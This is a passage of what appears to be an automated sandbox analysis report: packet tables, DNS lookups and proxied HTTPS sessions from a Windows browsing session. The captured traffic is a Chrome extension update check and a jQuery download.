Jan 26, 2024 10:18:12.340936899 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.360327005 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.360466957 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.360528946 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.360671997 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.450550079 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.450583935 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.450639009 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.450711966 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.450748920 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.450778008 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.470381975 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.470469952 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.470508099 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.470561981 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.512876987 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.512909889 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.512949944 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.512980938 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.513003111 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.513025999 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.530977011 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.531047106 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.531075001 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.531115055 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.566056967 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.566090107 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.566143990 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.566204071 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.566242933 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.566267014 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.582079887 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.582149029 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.582187891 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.582238913 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.592658043 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.592731953 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.592755079 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.592803955 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.592878103 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.592879057 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.592919111 CET	443	49776	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.592974901 CET	49776	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.596400023 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.596436977 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.596520901 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.596740961 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.596752882 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.762969017 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.763178110 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.763178110 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.763292074 CET	443	49777	23.1.237.25	192.168.2.16
Jan 26, 2024 10:18:12.763349056 CET	49777	443	192.168.2.16	23.1.237.25
Jan 26, 2024 10:18:12.901118994 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.901222944 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.901809931 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.901820898 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:12.901962042 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:12.901968956 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.231858969 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.231934071 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.231981039 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.232060909 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.244905949 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.244916916 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.244983912 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.245018005 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.245109081 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.391398907 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.391525030 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.391586065 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.391639948 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.437114954 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.437159061 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.437206030 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.437241077 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.437259912 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.437380075 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.456748009 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.456828117 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.456857920 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.456906080 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.534358978 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.534414053 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.534446001 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.534511089 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.534568071 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.534569025 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.540771008 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.540829897 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.582555056 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.582581043 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.582628012 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.582643986 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.582673073 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.582690954 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.603307962 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.603388071 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.603411913 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.603455067 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.638200045 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.638240099 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.638288975 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.638314962 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.638330936 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.638394117 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.656826973 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.656903028 CET	49778	443	192.168.2.16	173.222.162.7
Jan 26, 2024 10:18:13.656924963 CET	443	49778	173.222.162.7	192.168.2.16
Jan 26, 2024 10:18:13.656985998 CET	49778	443	192.168.2.16	173.222.162.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 26, 2024 10:16:03.777646065 CET	138	138	192.168.2.16	192.168.2.255
Jan 26, 2024 10:16:05.753295898 CET	50394	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.753514051 CET	63494	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.754195929 CET	54363	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.754379034 CET	50712	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.756289005 CET	50839	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.756489038 CET	49532	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:05.831722021 CET	53	50364	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.871731043 CET	53	50394	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.872369051 CET	53	63494	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.872473955 CET	53	54363	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.872612000 CET	53	50712	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.874576092 CET	53	50839	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:05.874758959 CET	53	49532	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:06.581161976 CET	53	62374	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:10.056713104 CET	60459	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:10.057430983 CET	51278	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:16:10.175436974 CET	53	60459	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:10.175940037 CET	53	51278	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:23.621021032 CET	53	60326	1.1.1.1	192.168.2.16
Jan 26, 2024 10:16:42.677212954 CET	53	52639	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:05.363583088 CET	53	62130	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:05.396028042 CET	53	57521	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:11.145349026 CET	59979	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:17:11.299540043 CET	53	59979	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:33.266062021 CET	53	56610	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:35.032922029 CET	61876	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:17:35.033267021 CET	60862	53	192.168.2.16	1.1.1.1
Jan 26, 2024 10:17:35.151812077 CET	53	61876	1.1.1.1	192.168.2.16
Jan 26, 2024 10:17:35.152412891 CET	53	60862	1.1.1.1	192.168.2.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 26, 2024 10:16:05.753295898 CET	192.168.2.16	1.1.1.1	0x15c7	Standard query (0)	clients2.google.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.753514051 CET	192.168.2.16	1.1.1.1	0xf00e	Standard query (0)	clients2.google.com	65	IN (0x0001)	false
Jan 26, 2024 10:16:05.754195929 CET	192.168.2.16	1.1.1.1	0xf00e	Standard query (0)	accounts.google.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.754379034 CET	192.168.2.16	1.1.1.1	0x4f9b	Standard query (0)	accounts.google.com	65	IN (0x0001)	false
Jan 26, 2024 10:16:05.756289005 CET	192.168.2.16	1.1.1.1	0x24f0	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.756489038 CET	192.168.2.16	1.1.1.1	0x4648	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Jan 26, 2024 10:16:10.056713104 CET	192.168.2.16	1.1.1.1	0x38ee	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.057430983 CET	192.168.2.16	1.1.1.1	0x9361	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jan 26, 2024 10:17:11.145349026 CET	192.168.2.16	1.1.1.1	0xeec4	Standard query (0)	pixeltechnical.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.032922029 CET	192.168.2.16	1.1.1.1	0x5ad2	Standard query (0)	clients1.google.com	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.033267021 CET	192.168.2.16	1.1.1.1	0xdbae	Standard query (0)	clients1.google.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.102	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.100	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.113	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.138	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.101	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.871731043 CET	1.1.1.1	192.168.2.16	0x15c7	No error (0)	clients.l.google.com		173.194.219.139	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.872369051 CET	1.1.1.1	192.168.2.16	0xf00e	No error (0)	clients2.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 26, 2024 10:16:05.872473955 CET	1.1.1.1	192.168.2.16	0xf00e	No error (0)	accounts.google.com		142.250.105.84	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.874576092 CET	1.1.1.1	192.168.2.16	0x24f0	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.874576092 CET	1.1.1.1	192.168.2.16	0x24f0	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.874576092 CET	1.1.1.1	192.168.2.16	0x24f0	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:05.874576092 CET	1.1.1.1	192.168.2.16	0x24f0	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.99	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.104	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.103	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.106	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.147	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175436974 CET	1.1.1.1	192.168.2.16	0x38ee	No error (0)	www.google.com		64.233.185.105	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:16:10.175940037 CET	1.1.1.1	192.168.2.16	0x9361	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 26, 2024 10:17:11.299540043 CET	1.1.1.1	192.168.2.16	0xeec4	No error (0)	pixeltechnical.com		91.107.214.239	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.102	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.100	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.113	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.101	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.138	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.151812077 CET	1.1.1.1	192.168.2.16	0x5ad2	No error (0)	clients.l.google.com		173.194.219.139	A (IP address)	IN (0x0001)	false
Jan 26, 2024 10:17:35.152412891 CET	1.1.1.1	192.168.2.16	0xdbae	No error (0)	clients1.google.com	clients.l.google.com		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

clients2.google.com

code.jquery.com

accounts.google.com

slscr.update.microsoft.com

pixeltechnical.com

clients1.google.com

https:

www.bing.com

r.bing.com

browser.pipe.aria.microsoft.com

fp.msedge.net

l-ring.msedge.net

t-ring-fallbacks1.msedge.net

d4b8db476c072517bc43f09f58d5d8ff.azr.footprintdns.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49724	173.194.219.102	443	6112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:16:06 UTC	752	OUT	GET /service/update2/crx?os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-64&prod=chromecrx&prodchannel=&prodversion=117.0.5938.132&lang=en-US&acceptformat=crx3,puff&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26installedby%3Dother%26uc%26brand%3DONGR%26ping%3Dr%253D-1%2526e%253D1 HTTP/1.1 Host: clients2.google.com Connection: keep-alive X-Goog-Update-Interactivity: fg X-Goog-Update-AppId: nmmhkkegccagdldgiimedpiccmgmieda X-Goog-Update-Updater: chromecrx-117.0.5938.132 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-26 09:16:06 UTC	731	IN	HTTP/1.1 200 OK Content-Security-Policy: script-src 'report-sample' 'nonce-1qCu9ZscxpY9DeUh7SwS8g' 'unsafe-inline' 'strict-dynamic' https: http:;object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/clientupdate-aus/1 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 26 Jan 2024 09:16:06 GMT Content-Type: text/xml; charset=UTF-8 X-Daynum: 6234 X-Daystart: 4566 X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-26 09:16:06 UTC	521	IN	Data Raw: 32 63 38 0d 0a 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 67 75 70 64 61 74 65 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 75 70 64 61 74 65 32 2f 72 65 73 70 6f 6e 73 65 22 20 70 72 6f 74 6f 63 6f 6c 3d 22 32 2e 30 22 20 73 65 72 76 65 72 3d 22 70 72 6f 64 22 3e 3c 64 61 79 73 74 61 72 74 20 65 6c 61 70 73 65 64 5f 64 61 79 73 3d 22 36 32 33 34 22 20 65 6c 61 70 73 65 64 5f 73 65 63 6f 6e 64 73 3d 22 34 35 36 36 22 2f 3e 3c 61 70 70 20 61 70 70 69 64 3d 22 6e 6d 6d 68 6b 6b 65 67 63 63 61 67 64 6c 64 67 69 69 6d 65 64 70 69 63 63 6d 67 6d 69 65 64 61 22 20 63 6f 68 6f 72 74 3d 22 31 3a 3a 22 20 63 6f 68 6f 72 74 6e 61 6d 65 3d 22 22 20 Data Ascii: 2c8<?xml version="1.0" encoding="UTF-8"?><gupdate xmlns="http://www.google.com/update2/response" protocol="2.0" server="prod"><daystart elapsed_days="6234" elapsed_seconds="4566"/><app appid="nmmhkkegccagdldgiimedpiccmgmieda" cohort="1::" cohortname=""
2024-01-26 09:16:06 UTC	198	IN	Data Raw: 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 68 61 73 68 5f 73 68 61 32 35 36 3d 22 38 31 65 33 61 34 64 34 33 61 37 33 36 39 39 65 31 62 37 37 38 31 37 32 33 66 35 36 62 38 37 31 37 31 37 35 63 35 33 36 36 38 35 63 35 34 35 30 31 32 32 62 33 30 37 38 39 34 36 34 61 64 38 32 22 20 70 72 6f 74 65 63 74 65 64 3d 22 30 22 20 73 69 7a 65 3d 22 32 34 38 35 33 31 22 20 73 74 61 74 75 73 3d 22 6f 6b 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 2e 30 2e 36 22 2f 3e 3c 2f 61 70 70 3e 3c 2f 67 75 70 64 61 74 65 3e 0d 0a Data Ascii: 3f56b8717175c536685c5450122b30789464ad82" hash_sha256="81e3a4d43a73699e1b7781723f56b8717175c536685c5450122b30789464ad82" protected="0" size="248531" status="ok" version="1.0.0.6"/></app></gupdate>
2024-01-26 09:16:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49725	151.101.66.137	443	6112	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-26 09:16:06 UTC	498	OUT	GET /jquery-3.6.4.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-26 09:16:06 UTC	569	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89795 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15ec3" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Fri, 26 Jan 2024 09:16:06 GMT Age: 7529088 X-Served-By: cache-lga21953-LGA, cache-pdk-kfty2130031-PDK X-Cache: HIT, HIT X-Cache-Hits: 4477, 1 X-Timer: S1706260566.282798,VS0,VE2 Vary: Accept-Encoding
2024-01-26 09:16:06 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 34 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.4 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-01-26 09:16:06 UTC	16384	IN	Data Raw: 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 26 26 72 5b 32 5d 2c 61 3d 73 26 26 63 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 73 5d 3b 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 64 26 26 61 3d 3d 3d 65 29 7b 69 5b 68 5d 3d 5b 6b 2c 73 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 Data Ascii: 0]===k&&r[1])&&r[2],a=s&&c.childNodes[s];while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if(1===a.nodeType&&++d&&a===e){i[h]=[k,s,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&
